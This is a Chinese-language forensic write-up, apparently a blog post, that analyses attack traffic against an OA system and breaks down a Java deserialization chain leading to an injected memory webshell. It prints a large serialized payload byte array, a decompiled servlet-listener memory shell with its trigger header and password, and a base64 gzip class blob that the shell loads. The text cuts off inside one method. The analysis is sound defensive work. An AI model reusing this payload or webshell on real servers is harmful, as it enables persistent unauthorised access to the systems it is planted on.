【java安全】记HW中的一次0day流量分析
客户说上次被攻击的流量不太明白，让我分析看看，于是分析了一下流量，发现是oa系统的反序列化漏洞，并且被注入内存马，分析过程记录如下
分析
第一个payload（已脱敏）：
POST /xxxxxxxxx/user-manager/users_query HTTP/1.1
Host: xxxxxxxxxxxxx
Content-Length: 9458
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5666.197 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Authorization: Bearer xxxxxxxxxxx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Content-Type: application/json
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可以很明显的看到objectDataValue是java序列化后的数据（开头是魔数 0xaced）
使用脚本文件处理，保存为1.ser
payload = [-84, -19, 0, 5, 115....]
b = []
for k in payload:
if k >= 0:
b.append(k)
else:
b.append(256+k)
f = open("1.ser", "wb")
f.write(bytearray(b))
使用zkar反序列化数据分析工具进行解析
可以翻阅到序列化中存在几个眼熟的javax.management.BadAttributeValueExpException、com.fasterxml.jackson.databind.node.POJONode、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl...
恶意链很明显了，通过BadAttributeValueExpException调用到POJONodetostring方法，从而调用TemplatesImpl的getOutputProperties方法执行任意代码
因此要取证攻击者执行了哪些恶意操作，直接找到TemplatesImpl的_bytecodes属性，这个是java字节码，保存为1.class
我这里使用动态调试的方式提取
package org.example;
import java.io.*;
public class Evil {
public static void main(String[] args){
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"))) {
Object result = ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
在getOutputProperties方法断下，即可提取_bytecodes字节码
提取后使用前的python脚本处理，保存为1.class，反编译即可看到代码逻辑：延时3s，因此这个请求是在探测是否存在漏洞
第二个payload比较大（注入内存马）
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-89, 4, -122, 17, 0, -17, -89, 4, -128, 16, 49, -89, 4, 123, 17, 0, -33, -89, 4, 117, 16, 86, -89, 4, 112, 16, 92, -89, 4, 107, 8, -89, 4, 103, 16, 12, -89, 4, 98, 16, 104, -89, 4, 93, 17, 0, -39, -89, 4, 87, 16, 101, -89, 4, 82, 16, 96, -89, 4, 77, 16, 48, -89, 4, 72, 17, 0, -10, -89, 4, 66, 17, 0, -84, -89, 4, 60, 17, 0, -24, -89, 4, 54, 17, 0, -23, -89, 4, 48, 16, 57, -89, 4, 43, 16, 81, -89, 4, 38, 16, 126, -89, 4, 33, 17, 0, -8, -89, 4, 27, 17, 0, -25, -89, 4, 21, 17, 0, -107, -89, 4, 15, 16, 94, -89, 4, 10, 17, 0, -58, -89, 4, 4, 16, 100, -89, 3, -1, 16, 127, -89, 3, -6, 17, 0, -95, -89, 3, -12, 17, 0, -69, -89, 3, -18, 16, 74, -89, 3, -23, 17, 0, -111, -89, 3, -29, 16, 107, -89, 3, -34, 17, 0, -97, -89, 3, -40, 17, 0, -105, -89, 3, -46, 16, 62, -89, 3, -51, 17, 0, -100, -89, 3, -57, 16, 17, -89, 3, -62, 16, 82, -89, 3, -67, 17, 0, -28, -89, 3, -73, 16, 64, -89, 3, -78, 17, 0, -46, -89, 3, -84, 16, 45, -89, 3, -89, 17, 0, -122, -89, 3, -95, 16, 95, -89, 3, -100, 17, 0, -124, -89, 3, -106, 16, 78, -89, 3, -111, 16, 27, -89, 3, -116, 17, 0, -83, -89, 3, -122, 17, 0, -71, -89, 3, -128, 17, 0, -101, -89, 3, 122, 16, 119, -89, 3, 117, 17, 0, -30, -89, 3, 111, 16, 103, -89, 3, 106, 16, 39, -89, 3, 101, 17, 0, -88, -89, 3, 95, 17, 0, -13, -89, 3, 89, 16, 105, -89, 3, 84, 17, 0, -3, -89, 3, 78, 16, 122, -89, 3, 73, 16, 51, -89, 3, 68, 16, 116, -89, 3, 63, 16, 55, -89, 3, 58, 17, 0, -36, -89, 3, 52, 17, 0, -106, -89, 3, 46, 17, 0, -85, -89, 3, 40, 16, 123, -89, 3, 35, 17, 0, -112, -89, 3, 29, 16, 52, -89, 3, 24, 16, 58, -89, 3, 19, 17, 0, -98, -89, 3, 13, 17, 0, -76, -89, 3, 7, 16, 120, -89, 3, 2, 16, 75, -89, 2, -3, 16, 117, -89, 2, -8, 16, 124, -89, 2, -13, 17, 0, -2, -89, 2, -19, 16, 83, -89, 2, -24, 16, 125, -89, 2, -29, 17, 0, -123, -89, 2, -35, 16, 106, -89, 2, -40, 17, 0, -15, -89, 2, -46, 17, 0, -108, -89, 2, -52, 17, 0, -72, -89, 2, -58, 16, 59, -89, 2, -63, 17, 0, -51, -89, 2, -69, 17, 0, -40, -89, 2, -75, 17, 0, -78, -89, 2, -81, 16, 73, -89, 2, -86, 17, 0, -19, -89, 2, -92, 4, -89, 2, -96, 16, 115, -89, 2, -101, 17, 0, -99, -89, 2, -107, 17, 0, -34, -89, 2, -113, 16, 43, -89, 2, -118, 17, 0, -18, -89, 2, -124, 16, 87, -89, 2, 127, 17, 0, -102, -89, 2, 121, 17, 0, -54, -89, 2, 115, 17, 0, -32, -89, 2, 109, 17, 0, -62, -89, 2, 103, 3, -89, 2, 99, 16, 79, -89, 2, 94, 16, 71, -89, 2, 89, 17, 0, -55, -89, 2, 83, 17, 0, -56, -89, 2, 77, 17, 0, -103, -89, 2, 71, 16, 22, -89, 2, 66, 16, 70, -89, 2, 61, 16, 109, -89, 2, 56, 17, 0, -89, -89, 2, 50, 17, 0, -120, -89, 2, 44, 16, 31, -89, 2, 39, 17, 0, -74, -89, 2, 33, 16, 11, -89, 2, 28, 16, 53, -89, 2, 23, 17, 0, -7, -89, 2, 17, 17, 0, -31, -89, 2, 11, 17, 0, -114, -89, 2, 5, 16, 54, -89, 2, 0, 17, 0, -43, -89, 1, -6, 17, 0, -125, -89, 1, -12, 17, 0, -16, -89, 1, -18, 17, 0, -14, -89, 1, -24, 16, 15, -89, 1, -29, 16, 46, -89, 1, -34, 16, 37, -89, 1, -39, 16, 9, -89, 1, -44, 17, 0, -37, -89, 1, -50, 17, 0, -82, -89, 1, -56, 17, 0, -48, -89, 1, -62, 17, 0, -79, -89, 1, -68, 16, 98, -89, 1, -73, 16, 111, -89, 1, -78, 16, 68, -89, 1, -83, 16, 90, -89, 1, -88, 16, 10, -89, 1, -93, 16, 16, -89, 1, -98, 17, 0, -65, -89, 1, -104, 16, 113, -89, 1, -109, 16, 118, -89, 1, -114, 17, 0, -92, -89, 1, -120, 17, 0, -87, -89, 1, -126, 17, 0, -86, -89, 1, 124, 17, 0, -91, -89, 1, 118, 17, 0, -66, -89, 1, 112, 16, 91, -89, 1, 107, 17, 0, -68, -89, 1, 101, 17, 0, -53, -89, 1, 95, 16, 44, -89, 1, 90, 16, 40, -89, 1, 85, 16, 61, -89, 1, 80, 17, 0, -6, -89, 1, 74, 17, 0, -93, -89, 1, 68, 17, 0, -75, -89, 1, 62, 16, 66, -89, 1, 57, 17, 0, -42, -89, 1, 51, 17, 0, -21, -89, 1, 45, 7, -89, 1, 41, 17, 0, -26, -89, 1, 35, 17, 0, -41, -89, 1, 29, 16, 38, -89, 1, 24, 17, 0, -127, -89, 1, 18, 16, 84, -89, 1, 13, 17, 0, -113, -89, 1, 7, 17, 0, -81, -89, 1, 1, 17, 0, -59, -89, 0, -5, 17, 0, -115, -89, 0, -11, 16, 34, -89, 0, -16, 16, 6, -89, 0, -21, 16, 76, -89, 0, -26, 17, 0, -61, -89, 0, -32, 16, 20, -89, 0, -37, 17, 0, -126, -89, 0, -43, 17, 0, -117, -89, 0, -49, 16, 41, -89, 0, -54, 16, 32, -89, 0, -59, 16, 25, -89, 0, -64, 16, 14, -89, 0, -69, 17, 0, -118, -89, 0, -75, 17, 0, -45, -89, 0, -81, 16, 36, -89, 0, -86, 17, 0, -44, -89, 0, -92, 17, 0, -22, -89, 0, -98, 17, 0, -12, -89, 0, -104, 17, 0, -119, -89, 0, -110, 17, 0, -1, -89, 0, -116, 16, 23, -89, 0, -121, 17, 0, -27, -89, 0, -127, 16, 63, -89, 0, 124, 16, 102, -89, 0, 119, 16, 13, -89, 0, 114, 17, 0, -110, -89, 0, 108, 16, 56, -89, 0, 103, 17, 0, -50, -89, 0, 97, 17, 0, -121, -89, 0, 91, 17, 0, -73, -89, 0, 85, 17, 0, -96, -89, 0, 79, 17, 0, -4, -89, 0, 73, 17, 0, -47, -89, 0, 67, 16, 80, -89, 0, 62, 17, 0, -9, -89, 0, 56, 16, 21, -89, 0, 51, 16, 69, -89, 0, 46, 17, 0, -80, -89, 0, 40, 16, 50, -89, 0, 35, 5, -89, 0, 31, 16, 88, -89, 0, 26, 16, 26, -89, 0, 21, 17, 0, -52, -89, 0, 15, 16, 29, -89, 0, 10, 16, 110, -89, 0, 5, 16, 19, 54, 5, 27, 28, -126, 89, 60, 17, 0, -1, 126, 21, 5, 100, 54, 6, 21, 6, -100, 0, 9, -60, -124, 0, 6, 1, 0, 27, 18, 7, 126, 16, 8, 124, 21, 5, 100, 54, 7, 21, 7, -100, 0, 9, -60, -124, 0, 7, 1, 0, 3, 54, 8, -89, 0, 78, 21, 8, 5, 112, 54, 9, 25, 4, 21, 8, 92, 52, 21, 9, -102, 0, 32, 21, 6, -126, -110, 85, 21, 6, 6, 124, 21, 6, 8, 120, -128, 25, 4, 21, 8, 52, -126, 17, 0, -1, 126, 54, 6, -89, 0, 29, 21, 7, -126, -110, 85, 21, 7, 6, 124, 21, 7, 8, 120, -128, 25, 4, 21, 8, 52, -126, 17, 0, -1, 126, 54, 7, -124, 8, 1, 21, 8, 25, 4, -66, -95, -1, -80, -78, 1, 98, 29, -69, 0, 1, 89, 25, 4, -73, 1, 96, -74, 1, 89, 83, -78, 1, 98, 29, 50, -80, 0, 0, 0, 0, 0, 0, 117, 113, 0, 126, 0, 47, 0, 0, 0, -22, -54, -2, -70, -66, 0, 0, 0, 49, 0, 19, 1, 0, 3, 70, 111, 111, 7, 0, 1, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 7, 0, 3, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 8, 70, 111, 111, 46, 106, 97, 118, 97, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 7, 0, 7, 1, 0, 16, 115, 101, 114, 105, 97, 108, 86, 101, 114, 115, 105, 111, 110, 85, 73, 68, 1, 0, 1, 74, 5, 113, -26, 105, -18, 60, 109, 71, 24, 1, 0, 13, 67, 111, 110, 115, 116, 97, 110, 116, 86, 97, 108, 117, 101, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 12, 0, 14, 0, 15, 10, 0, 4, 0, 16, 1, 0, 4, 67, 111, 100, 101, 0, 33, 0, 2, 0, 4, 0, 1, 0, 8, 0, 1, 0, 26, 0, 9, 0, 10, 0, 1, 0, 13, 0, 0, 0, 2, 0, 11, 0, 1, 0, 1, 0, 14, 0, 15, 0, 1, 0, 18, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 17, -79, 0, 0, 0, 0, 0, 0, 112, 116, 0, 1, 80, 112, 119, 1, 0, 120]
经过同样的方式处理，提取出字节码再反编译，得到WebUtils.class，是严重混淆过的代码
通过翻阅，找到一处defineclass加载字节码的逻辑比较刻意，字节码存储在var13
尝试扣出var13，看看这个字节码内容，运行断下取出data即可
import com.fasterxmlr.WebUtils;
import java.lang.reflect.Method;
public class Dec {
public static void main(String[] args) throws Exception{
long var1 = 37559910041951L;
long var10001 = var1 ^ 26261167752216L;
int var3 = (int)((var1 ^ 26261167752216L) >>> 32);
int var4 = (int)(var10001 << 32 >>> 40);
int var5 = (int)(var10001 << 56 >>> 56);
a(var3, var4, (byte)var5, Dec.class);
}
private static Object a(int var1, int var2, byte var3, Object var4) throws Exception{
long var5 = (long) var1 << 32 | (long) var2 << 40 >>> 32 | (long) var3 << 56 >>> 56;
long var10001 = var5 ^ 61965062860332L;
long var7 = (var5 ^ 61965062860332L) >>> 16;
int var9 = (int) (var10001 << 48 >>> 48);
WebUtils webUtils = new WebUtils();
Method m = WebUtils.class.getDeclaredMethod("a", String.class, long.class, short.class);
m.setAccessible(true);
byte[] r =(byte[]) m.invoke(null, webUtils.a(), var7, (short)var9);
// data
byte[] data = webUtils.a(r);
return null;
}
}
解出字节码如下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.springframework.web.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.zip.GZIPInputStream;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ServletRequestEventhListener extends ClassLoader implements ServletRequestListener {
static String pass = "Nbcagywwx";
public String headerName = "Referer";
public String headerValue = "Pcxkvhvd";
public String rand_str = "XpVLL4";
public String b64_str = "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";
public ServletRequestEventhListener() {
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest)servletRequestEvent.getServletRequest();
String customHeaderValue = request.getHeader(this.headerName);
try {
if (customHeaderValue.contains(this.headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
ServletContext var6 = request.getSession().getServletContext();
String var7 = this.rand_str;
if (var6.getAttribute(var7) != null) {
var6.getAttribute(var7).equals(new Object[]{request, response});
} else {
try {
byte[] var8 = this.base64Decode(this.b64_str);
Class var9 = (new ServletRequestEventhListener(this.getClass().getClassLoader())).g(var8);
var6.setAttribute(var7, var9.newInstance());
} catch (Exception var9) {
}
}
}
} catch (Exception var10) {
}
}
public ServletRequestEventhListener(ClassLoader var1) {
super(var1);
}
public Class g(byte[] var1) throws Exception {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
ByteArrayInputStream var3 = new ByteArrayInputStream(var1);
GZIPInputStream var4 = new GZIPInputStream(var3);
byte[] var5 = new byte[256];
int var6;
while((var6 = var4.read(var5)) >= 0) {
var2.write(var5, 0, var6);
}
byte[] var7 = var2.toByteArray();
return super.defineClass(var7, 0, var7.length);
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
HttpServletResponse var2 = null;
try {
var2 = (HttpServletResponse)getFV(getFV(var1, "request"), "response");
} catch (Exception var6) {
try {
